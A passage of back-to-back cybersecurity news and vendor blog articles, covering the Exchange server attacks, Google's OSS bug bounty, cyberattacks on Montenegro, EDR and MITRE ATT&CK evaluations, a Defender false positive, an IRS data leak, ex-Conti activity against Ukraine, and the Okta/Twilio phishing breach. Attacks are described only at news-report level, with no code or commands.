But we’ve also seen attackers use ransomware as a smokescreen to divert defenders’ attention and energy elsewhere while the real attack continues.
Another tactic is to lay low, avoid detection for months or years and quietly listen for sensitive information they can exfiltrate later, after they’ve had ample time to get to know your network and its resources.
Less noisy attackers also try to find ways to disable security defenses, allowing them to traverse networks and slurp up resources as they go.
It is also possible to fake a credible ransomware attack by claiming to have infiltrated Exchange servers and demanding a ransom – some companies might just unwittingly pay although they haven’t actually had their data compromised.
Essentially, this is an updated version of the sextortion scam emails that have targeted individuals who were victims of data breaches that included an email address and password.
In all these scenarios, it’s easy to understand the level of concern, and why some recommend disconnecting Exchange servers from the internet altogether until they can be investigated and patched.
The good news is that Microsoft readied and released a patch in a very short timeframe, reducing the potential spread.
But the potential negative effects result from a combination of likelihood and impact – so even though the likelihood might be small, it will still be tough to brace for the impact.
More trouble?
Hidden in plain sight among the exploits, and the wave of ransomware that is already following post exploitation, are other threats like ASP/ReGeorg.B, which is detected by ESET as a Potentially Unsafe Application (PUsA) an otherwise legitimate piece of code that is being misused, with ill intent.
With PUSAs added to the already complex mix of risks and threats laid at our doorsteps, we can be sure of a long road ahead.
Note: Detection of potentially unsafe applications is not enabled by default in ESET software.
For information on enabling detection of PUsAs, see ESET Knowledgebase Articles [KB3204] and [KB6982].
The good news here is that Microsoft responded quickly, sharing information about the attacks as well as patches for affected versions of Microsoft Exchange.
If you are responsible for administering Microsoft Exchange within your organization, your highest priority was testing the patch and deploying it immediately.
This was a situation in which restarting a server in the middle of the workday may have been required and it has the potential to set the tone for 2021 and beyond.
Finally, it would be a good time to check and verify backups in case your organization was affected.
Follow our blog for more on the Exchange server saga and what ESET continues to learn about this precedent-setting moment.
Google launches open-source software bug bounty program
Google will now pay security researchers to find and report bugs in the latest versions of Google-released open-source software (Google OSS).
The company's newly announced Vulnerability Reward Program (VRP) focuses on Google software and repository settings (like GitHub actions, application configurations, and access control rules).
It applies to software available on public repositories of Google-owned GitHub organizations as well as some repositories from other platforms.
Security vulnerabilities in Google OSS third-party dependencies are in scope for this program, with the condition that the bug reports are first sent to the owners of the vulnerable packages, so the issues are addressed upstream before informing Google of the findings.
"The top awards will go to vulnerabilities found in the most sensitive projects: Bazel, Angular, Golang, Protocol buffers, and Fuchsia," Google said today.
Google's OSS VRP focal point is security flaws that would have the most significant impact on the software supply chain.
Therefore, the company encourages bug bounty hunters to focus on vulnerabilities that could lead to supply chain compromise, design issues causing product vulnerabilities, and security issues like leaked credentials, weak passwords, or insecure installations.
Based on the severity level of the reported flaws and the project's importance, the final rewards range from $100 to $31,337.
The larger reward amounts will go to particularly interesting and unusual security vulnerabilities, with small bonuses of up to $1,000 also applying to the most interesting and clever bugs.
"Before you start, please see the program rules for more information about out-of-scope projects and vulnerabilities, then get hacking and let us know what you find.
If your submission is particularly unusual, we'll reach out and work with you directly for triaging and response," Google said.
"In addition to a reward, you can receive public recognition for your contribution.
You can also opt to donate your reward to charity at double the original amount."
In February, Google also almost doubled rewards for Linux Kernel, Kubernetes, Google Kubernetes Engine (GKE), or kCTF zero-day vulnerabilities and bug exploits using unique exploitation techniques.
Two months later, in April, the company announced that Android 13 Beta bugs reported through its VRP will get a 50% bonus on top of the standard reward until May 26th, 2022, with a maximum payout of $1.5 million for full remote code execution exploit chain on the Titan M used in Pixel Phones running Android 13 Beta builds.
Since launching its first VRP in 2010, Google has rewarded over $38 million to thousands of security researchers from over 84 countries for reporting more than 13,000 bugs.
In 2021 it awarded a record-breaking $8,700,000, including a $157,000 payout for an Android exploit chain, the highest in Android VRP history.
Montenegro says Russian cyberattacks threaten key state functions
Members of the government in Montenegro are stating that the country is being hit with sophisticated and persistent cyberattacks that threaten the country’s essential infrastructure.
Targets include electricity and water supply systems, transportation services, online portals that citizens use to access various state services, and more.
Already, several power plants have switched to manual operations, while the state-managed IT infrastructure has been taken offline to contain the effect of the attacks.
At the time of writing, the official website of the government of Montenegro is unreachable.
Montenegro's Minister of Public Administration, Marash Dukaj, posted on Twitter on August 26 to warn about a new wave of organized cyberattacks against various state bodies.
“Although certain services are currently temporarily disabled for security reasons, the security of the accounts of citizens and business entities and their data is not in any way endangered,” stated Dukaj (translated).
The country's Defense Minister has attributed these attacks to Russian actors, telling local media on Saturday that there’s enough evidence to suspect the attack is “directed by several Russian services.”
In response to this situation, the U.S. Embassy in Montenegro has issued a security alert to warn American citizens in the country about the risks that arise from these cyberattacks.
“A persistent and ongoing cyber-attack is in process in Montenegro,” highlights the security alert.
The attack may include disruptions to the public utility, transportation (including border crossings and airport), and telecommunication sectors.
The embassy advises limited movement and travel, reviewing personal security plans, ensuring that all travel documents are valid, and monitoring local media for updates.
Russian attacks on Montenegro
The small Balkan country with a population of just over 620,000 people is undergoing a severe political crisis where people supporting the idea of joining the European Union and those for pro-Russian Serbs are clashing.
The polarization problem in the country was also fueled by the current government’s decision to support sanctions on Russia, causing an outcry from some demographic groups and now even attacks from outside.
At this time, Montenegro is enjoying the help of its NATO allies to thwart the attacks.
France's efforts are more notable, as the country has dispatched an ANSSI (French Agency for Information Systems Security) team to help defend critical systems and restore compromised networks.
Endpoint detection and response: The path to security maturity starts with visibility
Looking to set off on the right foot with endpoint detection and response?
Prioritize visibility into your systems.
For organizations considering adoption of an endpoint detection and response (EDR) solution, MITRE Engenuity’s most recent ATT&CK® Evaluation provides a singular glimpse into how a prospective EDR tool stands in the face of sophisticated threats.
The work of the MITRE Engenuity team particularly shines in how thoroughly it emulates the documented tactics and techniques employed by the most sophisticated of adversaries – advanced persistent threat (APT) groups.
While turning the spotlight on the techniques used by APT groups certainly makes sense for the security strategy of some organizations, taking full advantage of this insight requires a level of maturity – or sufficiently trained, in-house IT staff specifically dedicated to this task – that not many organizations have, or are ready for.
The tough reality for most organizations is that they may have only one or two IT administrators ... and they are managing security part time, along with their many other responsibilities.
This can make an evaluation that concentrates on APT groups somewhat of a tight focus for organizations without such highly trained security staff.
However, as APT groups find their easiest targets among unprepared organizations, the emulated techniques speak to the gamut of security practices – from basic configurations and policies all the way to advanced fine-tuning and optimization – that should be in place to protect against even the most common threats.
Such organizations may discover when first using EDR that security practice falls short of industry standards.
In this way – starting with catching up on their security – the ATT&CK Evaluations and EDR can provide actionable insight even to less mature organizations.
A robust EDR solution starts with visibility into endpoints
Leveraging EDR for improved security is not an add-on that you just tack on to your existing systems.
EDR builds directly on endpoint security because it relies on it for both visibility and basic protection.
The low-level events that an endpoint security product monitors are included in those that an EDR tool also analyzes and presents to a security defender.
Where EDR differs from endpoint security is in the level of visibility into the analytic logic running behind the scenes.
For endpoint security products, this is more or less a closed book.
Yes, IT administrators should have a number of configuration options either to increase the detection sensitivity if they are more risk averse, or to create exceptions suited to their particular environments.
But the detection technologies themselves employ proprietary knowledge and ask for your trust to analyze events and make the protection decisions.
With EDR, ESET’s philosophy is to make its analytic logic an open book.
The built-in rule set applied to collected events is open to the purview of security defenders so that they can take an active role in manually analyzing those events and participate in the decisions about what constitutes a threat and what does not.
The key action that should characterize an EDR solution, as well as endpoint security software, is to grant a balanced and focused view into the security state of your environment that can best inform your protection decisions.
Designing an endpoint protection platform is a balancing act
Security has a strong dependence on visibility, but this dependence is not indiscriminate.
Designing an endpoint security product that scans everything all the time or an EDR solution that alerts on everything works directly against usability, performance, efficiency, and other goals that a security product should have.
The most effective security solutions must certainly monitor a ton of low-level events happening on endpoints, but not without prioritization.
Careful design decisions have to be made about which application programming interfaces (APIs) to monitor, what behaviors are considered suspicious or outright malicious, when the threshold for a suspicious chain of events has been reached and it should no longer be allowed to continue, how to avoid false positives, where to minimize impacts on performance, and so on.
These choices directly impact which layers of protection a product offers, what kinds of detection technology are used at each layer, and, ultimately, when malicious activity will eventually be flagged and stopped in its tracks.
When designing an EDR rule set, you could monitor all events on an endpoint – at least, all those visible to the endpoint security software deployed on it – but that would not only overload your EDR events database with an avalanche of data, but it would also fail to prioritize events that are likely indications of an attack that security defenders should investigate.
Testing endpoint protection in the Carbanak and FIN7 ATT&CK Evaluation
The impact of these design choices is well illustrated in the protection scenario of the latest ATT&CK Evaluation emulating the Carbanak and FIN7 APT groups.
In Test 12, for example, ESET Endpoint Security responded in the very first step of the attack by quarantining samcat.exe because it was identified as Mimikatz, an open-source password dumping tool.
In contrast, in Test 15, ESET Endpoint Security blocked the attack in its penultimate step when it identified a rundll32.exe process as Meterpreter, a reverse shell commonly used in penetration testing.
Other vendors blocked the attack at the same or an earlier step, or did not detect any of the techniques used in the attack at all.
Obviously, the protection tests demonstrated a few gaps existing in endpoint security solutions that did not detect and block certain attacks.
But even more, they showed that there was quite a variety as to the stage at which the various attacks were blocked.
This variety in response is in large part due to the design decisions that went into the endpoint security products in question.
Making endpoints an open book with EDR
There is a threshold at which the “automated” security provided by endpoint protection is simply not enough to grow your maturity.
Endpoint security alone is limited in the sense that it asks you for its trust to provide an automated type of security – a kind of set and forget (but don’t forget too much!)
approach to security.
Some threats defy such automated categories of monitoring and detection because, ultimately, behind every cyberthreat lies some imprint of human intelligence, albeit misused.
And sometimes the intelligence in question has devised such a novel, targeted, or sneaky attack that only another human intelligence – a security defender – would be able to spot it before too much damage is done.
By wielding an EDR tool, your security defenders are empowered to look at the low-level events being generated by endpoints and monitored by endpoint security products.
Armed with familiarity of their environment and with the right filtering of events in place, your defenders can focus on and reconstruct the sequence of steps that an attack took from start to finish.
Testing endpoint detection and response in the Carbanak and FIN7 ATT&CK Evaluation
Whereas the protection scenario of the Carbanak and FIN7 ATT&CK Evaluation assessed endpoint protection, the detection scenarios put endpoint detection and response to the test.
ESET’s EDR tool – ESET Enterprise Inspector – detected 100% of the steps in the attack scenarios and 91% of the sub-steps.
You can read ESET CTO Juraj Malcho’s full write-up of how ESET Enterprise Inspector fared in the evaluation in the blogpost Know your enemy: MITRE Engenuity’s ATT&CK® Evaluations show the need for balanced approach to EDR use.
For organizations not ready to take on APT groups, however, a main consideration in looking at such an evaluation is how it can help develop their security maturity.
Ultimately, a key goal for security engineers is to become familiar with the systems their organization uses and prioritize protection accordingly.
This is in addition to basic security practices, which should always be in place.
Leveraging EDR is about gaining intimate knowledge of your environment so that you can mature in your security posture – a prerequisite to hunting for APT attacks.
As the evaluation results for ESET Enterprise Inspector demonstrated, ESET’s EDR tool gives a lot of visibility.
Yet, while visibility is a critical component of security, it’s only a start.
The onus remains on security defenders to know their systems and to know their EDR tool – so that they can best tune it to their environment.
Indeed, many organizations can happen upon a bit of a surprise after first setting up their EDR solution.
Has your IT team been setting up employees with local admin accounts on their machines, or giving them free rein to access internal resources, or perhaps even potentially unsafe applications, that they don’t need?
Have you secured remote access to your network via tools such as remote monitoring and management (RMM) tools, remote desktop protocol (RDP), TeamViewer, or VNC?
The visibility granted by an EDR tool can reveal some of the risky practices and habits that have gone unchecked until now.
Lacking capability or time to manage your EDR?
Best security practice, at least at its basic level, is a well-known playbook, but many organizations have failed to master the plays due to obstacles as simple as lack of capacity – again, those one or two admins doing security part time.
What is often described as the rationale for adopting EDR – visibility into APT attacks – assumes a certain level of security maturity to engage at all with this kind of foe.
Another challenge for some organizations is when security sits outside the core business model.
As such, these organizations would rather off-load security to a managed services provider, making the level of security maturity strongly dependent on the levels of investment, trust, and expertise in play with that third-party supplier and its ability to understand its clients’ infrastructure and threat models.
Where EDR really scintillates for the use case focusing on APT groups is in the hands of very mature organizations, such as banks, that have the budget and regulatory impetus to maintain full security teams.
Conclusion
As an increasing number of enterprises examine EDR as it is widely described by vendors, analysts, and especially in the ATT&CK Evaluations, they should consider the benefits of approaching EDR even with an entry level of security maturity.
Simply put, if the move to EDR starts educating your IT admins on better security practice, then the investment will likely be worth the effort.
After all, bad habits, whether due to a problem-riddled history of security practice, negligence, or ignorance, are well gotten rid of – even if it takes the alerts in an EDR solution to wake up your organization.
As for the APT groups favored and emulated by the MITRE Engenuity evaluators, each stands as an attractive locus for security staff to understand the composite risks posed by both mature external adversaries and their own organization’s security posture.
Microsoft Defender falsely detects Win32/Hive.ZY in Google Chrome, Electron apps
Additional updates to the story are below, including the version of security intelligence updates required to fix Win32/Hive.ZY false positive.
A bad Microsoft Defender signature update mistakenly detects Google Chrome, Microsoft Edge, Discord, and other Electron apps as 'Win32/Hive.ZY' each time the apps are opened in Windows.
The issue started Sunday morning when Microsoft pushed out Defender signature update 1.373.1508.0 to include two new threat detections, including Behavior:Win32/Hive.ZY.
"This generic detection for suspicious behaviors is designed to catch potentially malicious files.
If you downloaded a file or received it through email, ensure that it is from a reliable source before opening it," reads the Microsoft detection page for Win32/Hive.ZY.
According to BornCity, the false positive is widespread, with users reporting on BleepingComputer, Twitter, and Reddit that the detections appear each time they open their browser or an Electron app.
Microsoft Defender falsely detecting Win32/Hive.ZY
Microsoft Defender falsely detecting Win32/Hive.ZY
Source: Twitter
Even though Microsoft Defender will continuously display these detections when apps are opened, it is important to note that this is a false positive, and your device is mistakenly being detected as infected.
Microsoft has since released two new Microsoft Defender security intelligence updates, the latest being 1.373.1518.0.
While this signature update does not display Win32/Hive.ZY detections in BleepingComputer's tests, other users report that they continue to receive false positives.
To check for new security intelligence updates, Windows users can search for and open Windows Security from the Start Menu, click Virus & threat protection, and then click on Check for updates under Virus & threat protection updates.
Currently installed Microsoft Defender security intelligence versions
Currently installed Microsoft Defender security intelligence versions
Source: BleepingComputer
While it is usually not required, in this case, it may be helpful to reboot Windows after installing the new security intelligence update to see if it resolves the false positive.
As this issue is widespread and causing panic among Windows users worldwide, we will likely see a new update fixing the problem within a few hours, if not sooner.
At this time, there has been no formal confirmation of the issue from Microsoft.
Update 6:47 PM EST:
Microsoft has released Microsoft Defender security intelligence update version 1.373.1537.0, which from reports, appears to resolve the Win32/Hive.ZY false positive experienced by Windows users today.
You can follow the instructions at the end of this article to update to this version.
Update 9:25 PM EST:
Microsoft shared the following statement with BleepingComputer:
"We have released an update to address this issue and customers using automatic updates for Microsoft Defender do not need to take additional action."
- a Microsoft spokesperson.
In addition Microsoft shared that enterprise customers managing their updates should ensure they are using detection build 1.373.1537.0 or newer.
RS data leak exposes personal info of 120,000 taxpayers
The Internal Revenue Service has accidentally leaked confidential information for approximately 120,000 taxpayers who filed a form 990-T as part of their tax returns.
IRS Form 990T is used to report 'unrelated business income' paid to a tax-exempt entity, such as nonprofits (charities) or IRA and SEP retirement accounts.
This income is commonly derived from sales unrelated to a nonprofit's core purpose or real estate investments that pay income into an individual retirement account.
For regular taxpayers, these forms are meant to be confidential and seen only by the IRS.
However, for nonprofits, a Form 990-T must be available for public inspection for three years.
On Friday, the IRS disclosed that in addition to sharing Form 990-T data for charities, they also accidentally included data for taxpayers' IRAs that was not meant to be public.
"The IRS recently discovered that some machine-readable (XML) Form 990-T data made available for bulk download section on the Tax Exempt Organization Search (TEOS) should not have been made public," the IRS disclosed on Friday.
"This section is primarily used by those with the ability to use machine-readable data; other more widely used sections of TEOS are unaffected."
The Wall Street Journal reports that the data leak exposed info for approximately 120,000 taxpayers and included names, contact information, and reported income for those IRAs.
However, the IRS states that the data did not include social security numbers, individual tax returns, or detailed account-holder information.
According to the Wall Street Journal, an IRS research employee discovered the data leak, which triggered a report to Congress on Friday.
The IRS states that the data has been removed and that they will send notifications to affected taxpayers in the coming weeks.
Google says former Conti ransomware members now attack Ukraine
Google says some former Conti cybercrime gang members, now part of a threat group tracked as UAC-0098, are targeting Ukrainian organizations and European non-governmental organizations (NGOs).
UAC-0098 is an initial access broker known for using the IcedID banking trojan to provide ransomware groups with access to compromised systems within enterprise networks.
The company's Threat Analysis Group (TAG), a dedicated team of security experts acting as a defense force for Google users from state-sponsored attacks, started tracking this threat group in April after detecting a phishing campaign that pushed the Conti-linked AnchorMail backdoor.
"In the initial encounter with UAC-0098, 'lackeyBuilder' was observed for the first time.
This is a previously undisclosed builder for AnchorMail, one of the private backdoors used by the Conti groups," Google TAG said.
"Since then, the actor consistently used tools and services traditionally employed by cybercrime actors for the purpose of acquiring initial access: IcedID trojan, EtterSilent malicious document builder, and the 'Stolen Image Evidence' social engineering malware distribution service."
This group's attacks were observed between mid-April to mid-June, with frequent changes in its tactics, techniques, and procedures (TTPs), tooling, and lures, while targeting Ukrainian orgs (such as hotel chains) and impersonating the National Cyber Police of Ukraine or representatives of Elon Musk and StarLink.
In subsequent campaigns, UAC-0098 was seen delivering IcedID and Cobalt Strike malicious payloads in phishing attacks targeting Ukrainian organizations and European NGOs.
File sharing site delivering UAC-0098 malicious payloads
File sharing site delivering UAC-0098 malicious payloads (Google TAG)
Links to the Conti cybercrime group
Google TAG says its attribution is based on multiple overlaps between UAC-0098, Trickbot, and the Conti cybercrime group.
"Based on multiple indicators, TAG assesses some members of UAC-0098 are former members of the Conti cybercrime group repurposing their techniques to target Ukraine," Google TAG added.
"TAG assesses UAC-0098 acted as an initial access broker for various ransomware groups including Quantum and Conti, a Russian cybercrime gang known as FIN12 / WIZARD SPIDER.
"UAC-0098 activities are representative examples of blurring lines between financially motivated and government backed groups in Eastern Europe, illustrating a trend of threat actors changing their targeting to align with regional geopolitical interests."
The threat group's activities detected and revealed today by Google also align with previous reports from IBM Security X-Force and CERT-UA, who also linked attacks on Ukrainian organizations and government entities to the TrickBot and Conti cybercrime gangs.
Conti is still around
The Russian-based Conti gang launched a ransomware operation in 2020, taking the place of the Ryuk ransomware group.
Over time, the gang grew into a cybercrime syndicate, taking over the development of multiple malware operations, including TrickBot and BazarBackdoor.
A Ukrainian security researcher leaked over 170,000 internal chat conversations belonging to the gang, together with the source code for the Conti ransomware encryptor, after Conti sided with Russia following its invasion of Ukraine.
While the group has since shut down the 'Conti' brand, the cybercrime syndicate continues to operate after splitting into smaller cells and infiltrating or taking over other ransomware or cybercrime operations.
Some ransomware gangs infiltrated by Conti members include BlackCat, Hive, AvosLocker, Hello Kitty, and the recently revived Quantum operation.
Other Conti members are now running their own data extortion operations that do not encrypt data, such as BlackByte, Karakurt, and the Bazarcall collective.
Okta one-time MFA passcodes exposed in Twilio cyberattack
The threat actor behind the Twilio hack used their access to steal one-time passwords (OTPs) delivered over SMS from customers of Okta identity and access management company.
Okta provides its customers with multiple forms of authentication for services, including temporary codes delivered over SMS through Twilio.
With access to the Twilio console, the threat actor could see mobile phone numbers and OTPs belonging to Okta customers.
Using Twilio to search for OTPs
On August 4, cloud communications company Twilio discovered that an unauthorized party gained access to its systems and information belonging to its customers.
At the time, one of the services Okta used for customers opting for SMS as an authentication factor was provided by Twilio.
On August 8, Okta learned that the Twilio hack exposed “unspecified data relevant to Okta” and started to route SMS-based communication through a different provider.
Using internal system logs from Twilio’s security team, Okta was able to determine that the threat actor had access to phone numbers and OTP codes belonging to its customers.
“Using these logs, Okta’s Defensive Cyber Operations’ analysis established that two categories of Okta-relevant mobile phone numbers and one-time passwords were viewable during the time in which the attacker had access to the Twilio console” - Okta
The company notes that an OTP code remains valid for no more than five minutes.
When it comes to the threat actor’s activity in the Twilio console regarding its customers, Okta distinguishes between “targeted” and “incidental exposure” of phone numbers.
The company says that the intruder searched for 38 phone numbers, almost all of them associated with one organization, indicating interest in gaining access to that client’s network.
“We assess that the threat actor used credentials (usernames and passwords) previously stolen in phishing campaigns to trigger SMS-based MFA challenges, and used access to Twilio systems to search for One Time Passwords sent in those challenges” - Okta
The threat actor searched for the 38 Okta-related phone numbers using Twilio’s administrative portals, which showed the most recent 50 messages delivered through Okta’s Twilio account.
This means that hackers could see a larger number of phone numbers.
However, Okta’s investigation revealed that the intruder did not use these mobile phone numbers.
An update from Twilio earlier this week revealed that the hacker accessed Authy 2FA accounts and registered their devices to obtain the temporary tokens.
The larger picture
Over the past months, Okta observed the threat actor deploy multiple phishing campaigns to target multiple technology companies, and assigned it the name Scatter Swine.
Scatter Swine is the same adversary behind the 0ktapus phishing campaign reported by cybersecurity company Group-IB and named it so due to its goal to nab Okta identity credentials and two-factor authentication (2FA) codes.
The actor has stolen close to 1,000 logins to get access to corporate networks by sending employees of targeted companies an SMS with a link to a phishing site impersonating an Okta authentication page for the victim organization.
Okta says that Scatter Swine/0ktapus likely uses commercial data aggregation services to collect mobile phone numbers belonging to employees of technology companies, telecommunications providers, and individuals linked to cryptocurrency.
A typical Oktapus attack starts with an SMS to a potential employee delivering a link to a phishing site asking for corporate credentials and then for the 2FA codes.
All the data is delivered to a Telegram account that led Group-IB on a trail to an individual that may be from North Carolina, the U.S., and also has a Twitter and a GitHub account.
In its report this week, Okta notes that apart from delivering SMS phishing in bulk (hundreds of messages), Scatter Swine also called targeted employees (and even their family members) to learn about the authentication process at their company, pretending to be from support.
“The accent of the threat actor appears to be North American, confident and clearly spoken” - Okta
Mitigating 0ktapus attacks
Defending against elaborate social engineering attacks targeting 2FA codes is not easy.
The general recommendation is to pay attention to indicators of suspicious emails and phishing sites.
Security experts also suggest using a FIDO-compliant security key (U2F).
Implementing authentication policies to restrict user access based on prerequisites tailored for the customer along with alerts when a user's sign-in process deviates from a previously recorded pattern could also indicate a malicious attempt.
Additionally, Okta advises the following:
Use Network Zones to deny or perform step-up authentication on requests from rarely-used networks and anonymizing proxies
Restrict access to applications to only registered devices or devices managed by endpoint management tools
Restrict access to the most sensitive applications and data using application-specific authentication policies
For customers that want to look for Scatter Swine SMS events (e.g.
authentication challenges, password resets or factor enrollment events), Okta has provided a system log query that reveals new devices and network locations for a particular user.
Okta's report also provides more refined queries that allow customers to check if the messages came through Twilio.